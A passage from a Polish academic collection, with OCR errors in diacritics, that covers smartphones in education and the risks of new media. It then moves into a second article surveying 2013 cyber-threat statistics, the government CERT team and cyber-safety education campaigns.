wysokim poziomem rozwoju nauki i techniki, w tym takze informatyki®. Wspot-
czesna cywilizacja informacyjna jest nierozerwalnie zwigzana z komputerem
i nowoczesnymi srodkami masowego przekazu.

W ostatnich latach notuje si¢ szybki rozwdj technologii smartfonow, ktore
uzupetniajg gam¢ komputerowych urzadzen mobilnych. Istotnym znaczeniem
tych urzadzen jest mozliwo$¢ dostepu do danych (informacji) i mozliwos¢ za-
rzadzania nimi w dowolnym czasie i miejscu. Uzytkownicy smartfonéw maja
staly dostep do Internetu, a zatem do materialow, dokumentoéw, biezacych in-
formacji. Oznacza to rowniez mozliwos$¢ statego kontaktu z internautami na
roznych ptaszczyznach. Dzigki temu mtodzi sg z tymi mediami wrecz ,,zrosnie-
ci” — laptopa, czy smartfon zabierajg ze soba do 16zka, by np. przez Skype’a czy
na Facebooku by¢ w stalym kontakcie z innymi lub uczestniczy¢ w zabawie —
grach spotecznosciowych, ktére sa takze jedna z form na poznanie nowych oséb.

Obecnie smartfon staje si¢ coraz bardziej popularny, o czym $wiadcza mieg-
dzy innymi opublikowane przez firm¢ IDC (International Data Corporation)
dane dotyczace sprzedazy w Il kw. 2013 r. telefonéw komoérkowych i smart-
fonow. Sprzedaz telefonéw komorkowych w porownaniu z analogicznym okre-
sem roku poprzedniego wzrosta o 6%, za$ smartfondéw o 52,3%". Wzrost popu-
larno$ci smartfondw potwierdzajg rowniez badania sondazowe przeprowadzone
w 2013 roku wsréd 117 studentow Uniwersytetu Technologiczno-Huma-
nistycznego im. Kazimierza Putaskiego w Radomiu. W badaniu wzigty udziat 63
kobiety i 54 mgzczyzn, sposrod ktorych 55% badanych zadeklarowato korzysta-
nie na co dzien ze smartfona. Nie rozstaje si¢ z nim 90% sposrod jego uzytkow-
nikéw. Ponadto 47% uczestnikow ankiety zadeklarowato, ze korzysta za posred-
nictwem smartfona z Internetu codziennie, 33% czesto, 17% sporadycznie
i tylko 3% nie korzysta w ten sposob z dostepu do sieci.

2\W. Furmanek, Edukacja a przemiany cywilizacyjne, Wydawnictwo O$wiatowe Fosze, Rze-
szow 2010, s. 35.

 W. Piechocki, Sprzedaz smartfonéw i telefondw komérkowych w Il kw. 2013 r. — Samsung
miazdzy konkurencje, http://gsmonline.pl/artykuly/sprzedaz-smartfonow-i-telefonow-komorko-
wych-w-ii-kw-2013-r-samsung-miazdzy-konkurencje.
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Najchgtniej uzywanymi aplikacjami w opinii badanych sa: portale informa-
cyjne, gry oraz serwisy spotecznosciowe i ustugi komunikacyjne (rysunek 1).

Rodzaj aplikac;ji
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Rysunek 1. Dane dotyczace popularnos$ci aplikacji w opinii badanych
uzytkownikow smartfonéw

Rosnacy udzial odston stron internetowych generowanych za pomoca urzadzen
mobilnych, coraz wigksza popularno$¢ smartfonow i tabletow, a jednoczes$nie zmie-
niajgce si¢ nawyki internautow — SpPosob korzystania z sieci, to przestanki swiadczg-
ce 0 tym, ze najblizsze lata beda pod znakiem technologii mobilnych®.

Warto rowniez zwrdci¢ uwage, ze dzisiejsze pokolenie cyfrowych tubylcow,
wychowane na nowych mediach, mysli i postgpuje inaczej niz poprzednie. Jak
dowodza badania, modzg cyfrowych tubylcow funkcjonuje inaczej niz mozg
cyfrowych imigrantoéw. W budowie moézgu u nalogowych internautéw nastgpity
zmiany powodujace powstawanie tzw. hipertekstowych umystow, co oznacza
zmiane sposobu myslenia z linearnego na hipertekstowy i wielowatkowy”. Dla-
tego preferuja wielozadaniowos$¢, wykonuja kilka czynno$ci jednoczesnie, zada-
nia rozwigzujg z jedng stuchawka empetrojki w uchu, bo jak twierdzg — tatwiej
si¢ im skupi¢, gdy si¢ i pisze, i stucha.

* M. Filiciak, Mlodzi i media, SWPS, Warszawa 2010.
® G. Small, G. Vorgan, Your iBrain: How Technology Changes the Way we Think, ,,Scientific
American Mind” 2008, October.
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2. Potencjal technologii informatycznych

Postep techniczny i nowoczesne technologie informatyczne sa gléwnym czyn-
nikiem procesu globalizacji, a takze nieocenionym $rodkiem w procesie ksztatcenia
1 wychowywania. Internet, komunikacja elektroniczna, telefony komérkowe, smart-
fony, komputery sprawiaja, ze informacje sa przesylane w sposéb ciagly, szybki
i niezawodny do wszystkich miejsc na $wiecie, co wzmaga globalne interakcje.
Postep techniczny zmienia rzeczywisto$¢. Urzadzenia techniczne i mobilne staja si¢
coraz bardziej przyjazne. Wykorzystanie technologii komputerowej i komunikacji
bezprzewodowej pozwala migdzy innymi na tworzenie coraz bardziej inteligentnych
systemow, konkurencyjnych réznorodnych produktéw, unowocze$nionych wyro-
bow, warunkujacych innowacyjno$¢ gospodarki. Modernizowane sa procesy wy-
tworcze i linie produkcyjne, nastgpuje wzrost automatyzacji i robotyzacji, rozsze-
rzenie mozliwosci i wsparcia dziatan ludzkich technologiami informatycznymi m.in.
w zakresie diagnostyki i terapii medycznej.

Globalizacja, informatyzacja, robotyzacja i integracje regionalne na tyle
przeobrazaja obecne uwarunkowania rozwoju, ze zasadniczo zmieniaja funda-
menty warunkujace jakos¢ zycia ludzi oraz sposoby organizowania i zarzadzania
dziatalno$cig badawcza, produkcyjna i handlowa. Dostep do informacji w kazdej
chwili, niemal z dowolnego miejsca na §wiecie jest nieograniczony.

Ogromne znaczenie technologii komputerowej i informacyjnej niemal we
wszystkich dziedzinach zycia, rowniez w edukacji — stwarza nowe mozliwosci.

Wykorzystujac potencjal nowoczesnych narzedzi informatycznych miodzi
majg mozliwo$é miedzy innymi®:

e szybkiego dostgpu do bogatych zasobow wszelkich rodzajow informacji,
korzystania z encyklopedii, stownikow, e-bookow;
wizualizacji materialu nauczania;
dyskusji niezaleznie od czasu i miejsca pobytu, szybkiej komunikacji;
rozwoju wlasnych umiej¢tnosci poczawszy od poszukiwania informacji do
nawigzywania kontaktow interpersonalnych;

e wystepowania w roli ekspertow na specjalistycznych forach czy innych for-
mach sieciowych wspolnot;
edukacji na odleglos¢;
komputerowego wspomagania procesu nauczania, ktory staje si¢ bardziej
atrakcyjny, pobudza aktywnos$¢, rozwija kreatywno$¢, zacheca do poszuki-
wan 1 odkry¢;

e rozrywki, ¢wiczenia wyobrazni i pamigci, udzial w réznego rodzaju grach

dydaktycznych i logicznych itp.

® B. Kuzminska-Soténia, Nowe technologie informacyjne — szansq i zagrozeniem dla mio-
dziezy szkolnej [w:] Komputer w edukacji, red. J. Morbitzer, Krakow 2006, s. 115-119.
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Na podstawie doswiadczen w pracy ze studentami Andrzej Syguta — autor
artykulu ,,Smartfon jako narzedzie w procesie edukacji w szkole wyzszej —
mozliwosci 1 perspektywy zastosowani” przedstawit w postaci mapy mysli liste
wybranych kategorii i aplikacji, ktora tworzy smartfonowe S$rodowisko
edukacyjne studenta Sheffield Hallam University (rysunek 2). Analogicznie
mozna upatrywaé przydatno$§¢ urzadzen mobilnych, wtym smartfonow,
W polskiej rzeczywistosci.
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Rysunek 2. Przyklad ,,smartfonowego srodowiska” uczenia si¢ studenta’

Praktyczne zastosowanie mobilnych urzadzen w edukacji szkolnej
zaproponowali w 2011 roku autorzy publikacji pod redakcjg Lechostawa Hoj-
nackiego: M-LEARNING, czyli (r)ewolucja w nauczaniu® oraz M-LEARNING, czyli
(rlewolucja w uczeniu si¢®. W swoich przewodnikach przedstawili zbior pomystow
i podpowiedzi dotyczacych mozliwosci wykorzystania nowych, mobilnych techno-
logii informacyjnych zaréwno w nauczaniu, jak i uczeniu sie, zachecajgc do do-
strzezenia w nowych technologiach ogromnych mozliwosci wspomagania edu-
kacji, rozwoju, komunikacji i wspotpracy.

" A. Syguta, Smartfon jako narzedzie w procesie edukacji w szkole wyzszej — mozliwosci
i perspektywy zastosowania, http://www.e-edukacja.net/dziewiata/referaty/Sesja_2b_1.pdf

8 L. Hojnacki (red.), M-LEARNING, czyli (r)ewolucja w nauczaniu, wyd. Think Global sp.
z 0.0., Warszawa 2011.

® Tamze.
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Skala dynamicznych przemian tworzy zatem nowe $rodowisko naturalne
cztowieka, w ktorym funkcjonowanie wymaga umiejetnosci szybkiego przysto-
sowywania si¢ do gwattownych i dynamicznych zmian.

Warto zatem juz dzi§ przygotowac si¢ do ekspansji urzadzen mobilnych
w edukacji, a co za tym idzie — przebudowac serwisy internetowe, udostepni¢
programy klienckie do platform edukacyjnych, wprowadzaé¢ do kursow materia-
ty przyjazne dla uzytkownikow mobilnych. Stawia to wspotczesnych ludzi wobec
nowych potrzeb, nowych wyzwan i nowych zagrozen. Dlatego pomimo wielu
korzysci ptynacych z dostepu do niczym nieograniczonej informacji, warto mie¢
na uwadze nie tylko wielki potencjat i mozliwosci nowoczesnych narzedzi infor-
matycznych, ale rowniez niebezpieczenstwa, jakie niosg ze soba nowe media.

3. Zagrozenia ze strony nowych mediéw

Nowe media to miedzy innymi nowe podejScie do otaczajacej nas rzeczywi-
stosci, wynikajace z mozliwos$ci, jakie otwierajg przed nami nowe technologie,
rozmaite ustugi internetowe czy telefony komorkowe, ktore wypetniaja zycie
nas wszystkich, a przede wszystkim ,,cyfrowych tubylcow”. Popularyzacja In-
ternetu i komorek zmienita sposob w jaki zyjemy, pracujemy, bawimy sie
i uczymy. Ogolnoswiatowa sie¢ komputerowa stata si¢ w ostatnim czasie naj-
bardziej wciagajacym i najsilniej ingerujacym w nasze zycie medium informa-
cyjnym™. Ksztaltuje ono pewien rodzaj komunikacji sieciowej, stwarzajacej
swego rodzaju zagrozenie, ktore wynika migdzy innymi z przekazywania wszel-
kich informacji maszynom, ktére przestaja by¢ juz tylko biernym ich magazy-
nem™. Potwierdzeniem jest takze raport ,,Being Human: Human-Computer Inte-
raction in the year 2020”%, w ktorym autorzy przewiduja dalsze wzmocnienie
nieintencjonalnej interakcji cztowieka z maszyna. Zmiany majg by¢ zauwazalne
roOwniez w zakresie tzw. interakcji czlowiek — komputer: ludzie coraz cze¢sciej
beda pozyskiwaé informacje za posrednictwem komputerow, a zarazem kompu-
tery coraz bardziej beda w stanie przewidywaé oczekiwania ludzi.

Silne uzaleznienie od dostgpu do technologii informatycznych powoduje
stopniowe zanikanie tradycyjnych form wiezi i przekazu informacji (,.tradycyj-
na” korespondencja, kontakty osobiste, wydawnictwa drukowane, kino, teatr).

W rzeczywistosSci jesteSmy zatem coraz bardziej zalezni od maszyn
i nowych technologii. Im bardziej staramy sie dopasowac¢ je do naszych potrzeb,

R, Tadeusiewicz, Kryzys czlowieka w $wiecie mediéw, Biuletyn Informacyjny Politechniki
Lubelskiej 2008, 2(20), s. 38.

1 W. Gogotek, Komunikacja sieciowa. Uwarunkowania, kategorie i paradoksy, Wydawnic-
two ASPRA-JR, Warszawa 2010.

12 http:/iresearch.microsoft.com/en-us/um/cambridge/projects/hci2020/default.html
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tym bardziej sami przyporzadkowujemy nasze zycie i zwyczaje, aby sprostac ich
wymaganiom.

Generalnie zagrozenia zwigzane z technologiami informatycznymi mozna
podzieli¢ na pieé grup: moralne, spoteczne, intelektualne, psychiczne, fizyczne™.

Serfujac po stronach internetowych mozna znalez¢ dostownie wszystko,
a wiec takze informacje uwazane za nieprawdziwe, szkodliwe, a czesto takze
nicodpowiednie dla poszczegdlnych grup wiekowych. Zagrozeniem sg takze
strony upowszechniajace tresci nienawistne. Ponadto nieswiadome ktopotow
dzieci czegsto beztrosko przekazuja online osobiste informacje i tatwo dajg si¢
wcigga¢ w sprytne putapki zastawiane przez oszustow i inne osoby mogace je
skrzywdzi¢. Taka ufno$¢ moze czgsto doprowadzi¢ do tragedii, bowiem nigdy
tak naprawde nie wiadomo, z kim prowadzimy rozmowe¢ — moze to by¢ fajny
kolega, ale takze moze to by¢ ztodziej czy morderca.

W sieci wszyscy sg anonimowi, co ma niejednokrotnie znaczny wplyw na
zatracenie wszelkich hamulcow moralnych, np.: grzeczny i dobry uczen rozma-
wiajac z kim$ za posrednictwem Internetu uzywa wielu przeklenstw i innych
wulgaryzmow, ktorych nigdy nie odwazylby si¢ powiedzie¢ w obecnosci kole-
gow 1 najblizszych. Granicg anonimowosci jest famanie prawa, ktore towarzyszy
szybkiemu procesowi zaludniania wirtualnego §wiata, a wraz z nim ,,przenosze-
nie sie do niego rowniez przestepcow: ztodziei, pedofilow, streczycieli itp.”™.
Internet niesie takze ze sobg duze zagrozenie w kwestii cyfrowej dystrybucji
materiatlow. Poczatkowo zaktadano, iz ksigzkom nie grozi piractwo komputero-
we podobne do tego, jakim zagrozone sg w Sieci produkty muzyczne i wideo.
Obecnie jednak, gdy czytniki e-ksigzek staty si¢ popularne, a wydawcy coraz
wigkszg liczbe tytutow udostepniajg w wersji cyfrowej, problem piractwa nabie-
ra znaczacego wymiaru. Wiele nieautoryzowanych kopii moze by¢ tatwo odczy-
tywanych za pomocg tychze czytnikow. W wyniku tego pojawit si¢ nowy pro-
blem dotyczacy dystrybucji ksiazek i ochrony praw autorskich, ktorego dotych-
czas nie rozwiazano w sposob zadowalajacy™.

Rosnaca popularno$¢ Internetu oraz lawinowy przyrost informacji, ktorymi
dziela si¢ w sieci jej uzytkownicy, stanowi takze ogromne wyzwanie
i zagrozenie dla biznesu. Inteligentny przeciwnik moze w prosty sposob powig-
za¢ informacje zawarte w ogdlnodostepnych portalach oraz serwisach spotecz-
nosciowych, wchodzac w posiadanie informacji, ktore jeszcze niedawno dostep-
ne byly jedynie przy wykorzystaniu technik szpiegostwa. Nastgpit znaczny

¥ M. Rostkowska, Komputer zagrozeniem dla miodziezy, XIV Konferencja ,,Informatyka
w szkole”, Lublin 1998, s. 209.

14 B. Cizkowicz, Ciemne strony Internetu [w:] Media i spoleczeristwo, red. M. Sokolowski,
Torun 2008, s. 311.

15 W. Gogotek, Komunikacja sieciowa..., s. 133.
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wzrost technicznych mozliwosci ingerencji w prywatno$¢ jednostek i Spo-
leczenstw, monitorowanie tacznosci telekomunikacyjnej i sieciowej, gromadze-
nie informacji osobowych, znaczne poszerzenie mozliwosci manipulowania
opiniami i zachowaniami zbiorowos$ci za posrednictwem nowych narzgdzi me-
dialnych i informatycznych.

Innym przyktadem informacji niosgcych ryzyko sa dane o relacjach bizne-
sowych lub fragmenty plikow konfiguracyjnych umieszczane na forach przez
administratorow poszukujacych rozwigzan technicznych napotkanych proble-
moéw. Wiele osob staje si¢ wrecz ofiarami atakow cyberprzestepcow, a wsrdd
zagrozen wymieniajg One: wirusy, spamy i programy szpiegujace.

Z uwagi na gwattowny przyrost informacji narzekamy nie tyle na dostgp
do niej, ile na jej nadmiar. Skutkiem natloku informacyjnego jest zjawisko
psychiczne zwane przecigzeniem informacyjnym®®. Wystepuje, gdy nie jeste-
$my w stanie skonsumowa¢ docierajacej do nas informacji, przez co pogiebia
si¢ swego rodzaju przepas¢. Jest ona zauwazalna takze w nowych mediach,
ktore cho¢ sa tworzone z mysla o przecietnym uzytkowniku, sa zaréwno
w dziataniu, jak i oferowanych mozliwoséciach na tyle skomplikowane (szcze-
golnie dla ,,cyfrowych imigrantow”), ze tylko niektorzy potrafia z nich
w petni korzysta¢. W konsekwencji jest to jedna z przyczyn zwigkszania
roznic spotecznych'’. Poza tym pojawia sie zjawisko marginalizacji grup
ludzi nieposiadajgcych dostepu do nowoczesnych technologii cyfrowych —
od telefonu po komputer i Internet, coraz wigcej ludzi nie potrafi si¢ dobrze
dostosowaé¢ do tej szybkiej zmiany S$rodowiska spotecznego. Ten aspekt
zwrocil uwage Manuela Castellsa, ktory stworzyt teorie podzielonego miasta
informacyjnego (informational city), w ktorym obok gospodarki globalnej
i nasycenia informacja trwajg i rozrastaja si¢ grupy uposledzone, klasa paria-
sow, nie tylko informacyjnych®.

Z kolei uczestnicy cyberprzestrzeni tracg niejednokrotnie poczucie kontroli
sytuacji i $rodowiska w ktorym zyja. W wielu wypadkach powr6t do rzeczywi-
stosci okazuje si¢ bardzo trudny badz nawet niemozliwy. Zaciera si¢ coraz bar-
dziej granica pomiedzy rzeczywistoscig i fikcja — czesto partnerem czlowieka
przestaje by¢ inny czlowiek — staje si¢ nim maszyna. Nastepuje wspotdziatanie
postaci rzeczywistych i wymysSlonych, szczegdlnie za sprawg technik animacji
komputerowej, ktora pozwala na tgczenie elementéw rzeczywistosci z nierze-

8 W. Babik, O natloku informacji i zwigzanym z nim przecigzeniu informacyjnym [w:] Czlo-
wiek — media — edukacja, red. J. Morbitzer, Krakow 2010, s. 22.

T, Goban-Klas, Cywilizacja medialna, WSiP, Warszawa 2005, s. 260.

8 T. Goban-Klas, P. Sienkiewicz, Spoleczeristwo informacyjne: Szanse, zagrozenia, wyzwa-
nia, Wydawnictwo Fundacji Postgpu Telekomunikacji, Krakow 1999, s. 57.
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czywistoscia™. Na skutek tego nastgpuje powolne izolowanie si¢ od rzeczywistej
spotecznosci, co prowadzi do chordb, patologii, a w skrajnych przypadkach na-
wet do fizycznego wyczerpania.

Zakonczenie

Niewatpliwie przekroczono kolejny prog w rewolucji srodkéw komunikacji
i informacji, a Internet stal si¢ narzedziem posredniczacym w komunikacji.
Dzigki temu z jednej strony mamy wiele waznych korzys$ci — nowoczesne tech-
nologie informatyczne ulatwiaja zycie codzienne, rozszerzaja mozliwosci inte-
lektualne, poprawiaja jakos$¢ 1 dtugos¢ zycia, umozliwiaja lepszy kontakt ze
$wiatem i innymi ludzmi. Z drugiej strony stwarzaja one wiele nowych, do-
tychczas nieznanych problemoéw i zagrozen. Lecz podobnie jak Internet nie
moze zastapi¢ bezposredniego kontaktu miedzy ludzmi, tak cyberprzestrzen
nie moze zastapi¢ prawdziwego $wiata. ,,Internet podobnie jak inne narzedzia
komunikacji jest srodkiem, a nie celem samym w sobie — stuzy tylko wtedy,
gdy korzysta si¢ z niego w sposob kompetentny, z pelng swiadomoscig jego
zalet i wad”®.
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ZAPOBIEGANIE | ZWALCZANIE ZAGROZEN
ZE STRONY CYBERPRZESTRZENI

PREVENTION AND FIGHT
AGAINST THREATS FROM CYBER SPACE

Stowa kluczowe: cyberzagrozenie, cyberatak
Keywords: cyber threats, cyber attack

Streszczenie

W pracy omowiono zagadnienia zwigzane z ochrona przed cyberzagrozeniami. Zwrdcono
uwage na wzrost cyberzagrozen i konieczno$¢ skoordynowania dziatan w zakresie zapobiegania
i zwalczania zagrozen ze strony cyberprzestrzeni. Ukazano dziatania zespotu CERT.GOV.PL,
funkcjonujacego w ramach Departamentu Bezpieczenstwa Teleinformatycznego ABW, ktore
szczegollnie uwzgledniajg ataki ukierunkowane na infrastrukture obejmujaca systemy i sieci telein-
formatyczne. Wskazano na potrzebe cyberedukacji dla bezpieczenstwa.

Summary

The work discusses the issues related to the protection against cyber threats. Attention on the
growth of cyber threats and the need to coordinate activities in the field of the prevention and
control of risks on the part of cyberspace. Discusses the Team CERT.GOV.PL functioning within
the framework of the Security Department of the ABW, which particularly include targeted attacks
on infrastructure, including information and communication systems and networks. Indicated the
need of education for cyber security.

Wstep

Firma Kaspersky Lab opublikowata dokument zawierajacy przeglad zagro-
zen internetowych, liczby incydentdw naruszenia bezpieczenstwa dotyczacych
urzadzef mobilnych, atakéw sieciowych oraz zagrozen lokalnych w roku 2013".
Zwrocono uwage, ze W 2013 roku ogdlny globalny poziom zagrozen interneto-
wych zwigkszyt si¢ 0 6,9 pkt proc. — w 2013 roku 41,6% komputerow zOstato
zaatakowanych co najmniej jeden raz. W celu przeprowadzenia wszystkich tych

! http://www.kaspersky.pl/about.html?s=news_reviews&cat=3&newsid=2166

82



atakow internetowych w 2013 r. cyberprzestepcy wykorzystali 10 604 273 uni-
katowe maszyny — o 60,5% wigcej niz w 2012 roku. W 2013 roku miat miejsce
dalszy wzrost liczby incydentdw naruszenia bezpieczenstwa dotyczacych urza-
dzen mobilnych, a wyrafinowanie i liczba tych zagrozen osiggnely nowy wysoki
poziom. Glownym celem wigkszosci szkodliwych aplikacji mobilnych byta kra-
dziez pieniedzy, a nastepnie danych osobistych. Android nadal stanowi najpopu-
larniejszy cel atakow, przyciagajac az 99,9% znanego szkodliwego oprogramo-
wania. Kaspersky Lab jest jednym z najszybciej rozwijajacych si¢ producentow
rozwigzan bezpieczenstwa na $wiecie. Jest to miedzynarodowa grupa dziatajaca
w prawie 200 krajach na $wiecie. Obecnie firma posiada ugruntowana pozycje
jednego z czterech wiodacych na $wiecie producentéw oprogramowania antywi-
rusowego®.

Ministerstwo Spraw Wewngtrznych udostgpnito dokumentacje zwigzana
z ,Rzadowym Programem Ochrony Cyberprzestrzeni na lata 2011-2016.
W zalaczniku czwartym umieszczono dokument: ,,Dziatanie Rzagdowego Zespo-
tu Reagowania na Incydenty Komputerowe™. Ze wzgledu na potrzebe cybere-
dukacji dla bezpieczenstwa na uwage zastuguja: zalacznik 10 ,,Prowadzenie
spotecznej kampanii edukacyjno-prewencyjnej w mediach publicznych” oraz
zatgcznik 11 ,,Prowadzenie kampanii informacyjno-profilaktycznej na stronach
internetowych”. Bez edukacji nie begdzie bezpieczenstwa w sieci, dlatego do
szkot kierowanych jest wigkszo$¢ projektow poswieconych tej tematyce.
W partnerstwie z Fundacjg Dzieci Niczyje oraz Fundacja ,,Kierowca Bezpiecz-
ny”, Microsoft przygotowal program bezpieczenstwa internetowego dzieci
»3... 2... 1... Internet!”. Kampania edukacyjna ,,3... 2... 1... Internet!” ma na
celu nauczenie dzieci wlasciwych nawykow korzystania z technologii informa-
cyjnych. Microsoft rozestat do ponad 14 000 szkot podstawowych w Polsce
oryginalne pakiety dydaktyczne z zakresu bezpieczenstwa internetowego dzieci.
Jest to element zawartego we wrze$niu 2009 roku porozumienia pomiedzy firma
Microsoft a Ministerstwem Edukacji Narodowej, w ramach programu ,,Partner-
stwo dla Przysztosci”. Materialy edukacyjne ,,3... 2... 1... Internet!”, ktére nau-
czyciele moga wykorzystywac podczas lekcji, zostalty wspdlnie opracowane
przez Microsoft i Fundacje¢ Dzieci Niczyje, we wspotpracy z Fundacjg ,,Kie-
rowca Bezpieczny”. Ambasadorem projektu jest Krzysztof Hotowczyc.
W ramach projektu powstat serwis internetowy dla dzieci, www.321internet.pl,
komiks oraz propozycja zaje¢ edukacyjnych przeznaczona do realizacji
w szkotach podstawowych®.

2 http://www.kaspersky.pl/about.html
% http://bip.msw.gov.pl/portal/bip/6/19057
4 .

www.321internet.pl
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1. Najwazniejsze incydenty dotyczace bezpieczenstwa w roku 2013
oraz prognozy bezpieczenstwa dotyczace roku 2014

Informacje dotyczace liczby cyberatakow, zagrozen mobilnych, aplikacji
podatnych na ataki wykorzystywane przez cyberprzestgpcoOw, zagrozen online
obejmujacych ataki poprzez strony WWW, zagrozen lokalnych zostaty zaprezen-
towane w raporcie Kaspersky Security Bulletin 2013. Podsumowanie 2013 r.>
»Zgodnie z informacja” na powyzszej stronie raport ten wchodzi w sktad Ka-
spersky Security Bulletin 2013 i opiera si¢ na danych uzyskanych i przetworzo-
nych przy uzyciu Kaspersky Security Network (KSN). KSN wprowadza techno-
logie oparte na chmurze do produktow korporacyjnych oraz przeznaczonych dla
uzytkownikéw indywidualnych i stanowi jedng z najwazniejszych innowacji
firmy Kaspersky Lab. Statystyki prezentowane w raporcie oparte sa na danych
uzyskanych z produktéw Kaspersky Lab zainstalowanych na komputerach uzyt-
kownikow na catym $wiecie. Uzytkownicy wyrazili zgode na pozyskiwanie
zich komputerow informacji statystycznych na temat szkodliwej aktywno$ci.
W raporcie scharakteryzowano rok 2013 ze wzgledu na liczbe cyberaktakow.
W roku 2013 produkty Kaspersky Lab zneutralizowaty 5 188 740 554 cyberataki
na komputery uzytkownikoéw i urzadzenia mobilne. W przypadku nowych mo-
dyfikacji szkodliwego oprogramowania na urzadzenia mobilne wykryto ich
104 427, produkty Kaspersky Lab zneutralizowaty 1 700 870 654 ataki zaini-
cjowane z komputerow bedacych online na catym $wiecie, wykryto bli-
sko 3 mld atakéw wiruséw na komputery uzytkownikow®. Z udaremnionych
atakow facznie 1,8 min stanowity szkodliwe i potencjalnie niechciane programy.
W roku 2013 w dziedzinie mobilnego szkodliwego oprogramowania pojawit si¢
szkodnik Obad, stanowiacy prawdopodobnie najbardziej wszechstronne mobilne
szkodliwe oprogramowanie sposrod wykrytych do tej pory iobejmuje wiele
rozmaitych metod i funkcji. Tworcy raportu zwracajg uwage na fakt, iz Obad
jest dystrybuowany na wiele sposobow, w tym przez wstepnie ustawione botne-
ty. Smartfony z systemem Android zainfekowane trojanem Opfake.a sa uzywane
do powielania i wysytania wiadomosci tekstowych zawierajacych ztoliwe linki
do kazdego kontaktu na urzadzeniu ofiary. Do waznych wydarzen dotyczacych
zagrozen mobilnych w roku 2013 zalicza si¢: mobilny phishing, kradziez infor-
macji dotyczacych karty kredytowej przypisanej do mobilnego rachunku, mobil-
ne trojany, ktore sprawdzajg saldo na rachunku ofiary, co pomaga cyberprze-
stepcom w uzyskaniu jak najwiekszych zyskow, wykorzystywanie mobilnych
botnetow, uzywanie ustugi Google Cloud Messaging (GCM) do kontroli urza-

® http://securelist.pl/analysis/7256,kaspersky _security_bulletin 2013 podsumowanie_2013_r.html
® M. Zalewski, Przewodnik po bezpieczeristwie nowoczesnych aplikacji WWW, Gliwice 2012.
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dzen zombie podiaczonych do botnetu, stosowanie plikow z rozszerzeniem
APK, dajgce mozliwos¢ szpiegowania danych osobowych na urzadzeniach mo-
bilnych ofiar i umozliwiajac ich namierzenie.

Réwniez firma Symantec opublikowata Raport Norton (dawniej Norton Cy-
bercrime Report). Jest to jedno z najwigkszych badan dotyczacych cyberprze-
stepczosci dotykajacej uzytkownikéw indywidualnych na catym $wiecie. Raport
Norton opiera si¢ on na ankietach z udziatem ponad 13 000 dorostych respon-
dentow z 24 krajow’. Zawarto w nim informacje dotyczace polskich internautow.
Wedtug autoréw raportu ,,w ciggu ostatnich 12 miesigcy 6 milionéw Polakow
padto ofiarg cyberprzestepcow. tym czasie koszty zwigzane z dziatalno$ciag prze-
stepcoOw internetowych wyniosty w naszym kraju 6 miliardow ztotych. Tylko 28%
uzytkownikow uzywa podstawowych programow zabezpieczajacych na smartfo-
nach, 50% uzytkownikoéw smartfonow nie kasuje maili od nieznanych nadawcow,
21% polskich rodzicow pozwala dzieciom korzysta¢ ze swoich stuzbowych urza-
dzen, a w szczeg6lnosci gra¢ na nich, pobiera¢ aplikacje oraz robi¢ zakupy, a 31%
Polakéw dzieli si¢ z innymi swoimi hastami do mediow spotecznosciowych”.

Raport zawierajacy prognozy dotyczace cyberbezpieczenstwa w 2014 roku
,»Blurring Boundaries: Trend Micro Security Predictions for 2014 and Beyond”
przedstawita Trend Micro Incorporated (TYO: 4704, TSE: 4704), ktora jako
swiatowy lider w dziedzinie oprogramowania i rozwigzan zabezpieczajacych
dazy do zapewnienia bezpiecznego globalnego $rodowiska wymiany informacji
cyfrowych®. Wedtug Rika Fergusona, Global VP Security Research w Trend
Micro: ,,Widzimy jak szybko wzrasta poziom zaawansowania cyberzagrozen.
Konsekwencje tego trendu odczuja zaro6wno pojedynczy uzytkownicy, jak
i przedsigbiorstwa i instytucje rzagdowe. Zagrozenia czyhajace na uzytkownikow
mobilnej bankowosci, ataki ukierunkowane, coraz wicksze zagrozenia wycelo-
wane w prywatne dane oraz potencjalnie jedna powazna kradziez danych kazde-
go miesigca — wszystko to czeka nas w przysztym roku. Bedziemy tez §wiadka-
mi rozwoju trendu IoE, stanowigcego preludium do eksplozji przysztych techno-
logicznych przetoméw, ktorych mozemy spodziewac si¢ wraz z koncem tej de-
kady”. W raporcie zawarto rowniez prognozy na rok 2014 dotyczace dziatan
cyberprzestgpcow. Dotycza one wzrostu do 3 min liczby ztosliwych aplikacji
oraz programow ,,wysokiego ryzyka” wymierzonych w system Android, banko-
wo$¢ online obstugiwana z poziomu urzadzen mobilnych bedzie bardziej nara-
zona na ataki typu ,,Man-in-the-Middle”, co spowoduje, ze dwustopniowy pro-
ces weryfikacji przestanie by¢ wystarczajacym zabezpieczeniem. Prognozy do-

™ http://www.polskieradio.pl/111/1890/Artykul/951996,Raport-Norton-2013; http://www.sy-
mantec.com/about/news/resources/press_kits/detail.jsp?pkid=norton-report-2013

8. Petersen, Cyberzagrozenia w 2014 wg Trend Micro, http:/lwww.polskieradio.pl/111/1890/ Ar-
tykul/1010793,Cyberzagrozenia-w-2014-wg-Trend-Micro
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tycza rowniez metod wykorzystywanych przez cyberprzestepcow. Cyberprze-
stepcy beda czgsciej korzysta¢ z metod stosowanych podczas atakow ukierun-
kowanych, takich jak analizy oprogramowania open source oraz techniki spear
phishing, doskonale dostosowane do danej sytuacji, urzadzenia mobilne beda
czestszym celem dla zaawansowanych zagrozen, takich jak click jacking i ataki
typu ,,watering hole”. Wedtug autorow raportu, w 2014 roku bedziemy $wiad-
kami wzrostu tempa atakow ukierunkowanych. Autorzy podkreslajg takze wage
atakow na kluczowe elementy infrastruktury o znaczeniu strategicznym, nowe
wyzwania zwigzane ze sferg tzw. IoE (Internet of Everything — Internet wszyst-
kiego) i Ukryta Siecig — podziemiem Deep Web. Dziatania w zakresie poprawy
bezpieczenstwa cyberprzestrzeni podejmuje Fundacja Bezpieczna Cyberprze-
strzen. Fundacja Bezpieczna Cyberprzestrzen powstata w czerwcu 2010 roku, jej
celem jest dzialanie na rzecz bezpieczenstwa cyberprzestrzeni, w tym dziatanie
na rzecz poprawy bezpieczenstwa w sieci Internet. Fundacja ma swoj udzial
w tworzeniu periodyka ,,CIIP focus” wydawanego przez Rzadowe Centrum
Bezpieczenstwa. W 2012 roku zainicjowata ona, wspotorganizowata i koordy-
nowata pierwsze w Polsce ¢wiczenia z ochrony w cyberprzestrzeni — Cyber-
EXE Polska 2012°. Fundacja opracowala wlasny raport dotyczacy zagrozef
cyberprzestrzeni. Przygotowany raport na temat prognoz dotyczacych zagrozen
teleinformatycznych w 2013 r. byl najprawdopodobniej pierwszym tego typu
raportem, na wyniki ktorego sktadaty si¢ glosy polskich specjalistow ds. bezpie-
czenstwa teleinformatycznego™.

